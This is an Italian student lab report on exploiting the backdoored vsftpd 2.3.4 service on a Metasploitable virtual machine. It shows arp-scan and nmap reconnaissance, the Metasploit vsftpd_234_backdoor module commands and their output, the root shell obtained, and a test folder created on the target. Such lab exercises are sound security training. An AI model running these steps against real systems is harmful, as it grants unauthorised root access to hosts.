Relazione esercizio S7 / L1

Obiettivo dell'esercizio: L'obiettivo di questo esercizio è stato di condurre un attacco su una macchina virtuale vulnerabile, Metasploitable, focalizzandosi sul servizio "vsftpd" vulnerabile. Noto per avere una vulnerabilità che può essere sfruttata in determinate versioni, come quella 2.3.4, utilizzata in questo esercizio.

Per eseguire l'attacco, la macchina Metasploitable è stata configurata con indirizzo IP 192.168.1.149. La configurazione della rete è stata impostata correttamente per permettere la comunicazione tra il nostro attaccante e la macchina target.

1. **Scansione della rete per individuare il target:** Prima di avviare l'attacco, abbiamo utilizzato strumenti come nmap per individuare l' ip della macchina target.

```
msf6 > sudo arp-scan -l
[*] exec: sudo arp-scan -l

Interface: eth0, type: EN10MB, MAC: 08:00:27:48:65:cd, IPv4: 192.168.1.100
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.149   08:00:27:4a:b7:b1       (Unknown)
```

La scansione ha permesso di identificare i servizi attivi sulla macchina target.

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-1
mass_dns: warning: Unable to determine any DNS servers.
Nmap scan report for 192.168.1.149
Host is up (0.0018s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
```

Trovato il servizio che ci interessava ho lanciato il comando search vsftpd 2.3.4 per cercare il modulo e scegliendolo tramite il comando use.

```
  #  Name                                  Disclosure Date  Rank       Check  Description
  -  ----                                  ---------------  ----       -----  -----------
  0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
```

Eseguendo il comando options ho controllato cosa ci fosse da configurare. Ho configurato la voce RHOSTS, che sarebbe l'IP della macchina target. Ho proceduto con la configurazione tramite il comando **set RHOSTS 192.168.1.149**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts ⇒ 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ────     ───────────────  ────────  ──────────
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:hos
   RHOSTS   192.168.1.149    yes       The target host(s), see https://
   RPORT    21               yes       The target port (TCP)
```

Infine ho lanciato il comando exploit per poter entrare all'interno della macchina Metasploitable.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:38449 → 192.168.1.149:6200) at 2024-12-16 15:12:00 +0100
```

ho navigato fino alla directory root

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
```

E creato la cartella test_metasploitable tramite il comando **mkdir**

```
cd root
ls
Desktop
reset_logs.sh
vnc.log
mkdir test_metasploitable
ls
Desktop
reset_logs.sh
test_metasploitable
vnc.log
```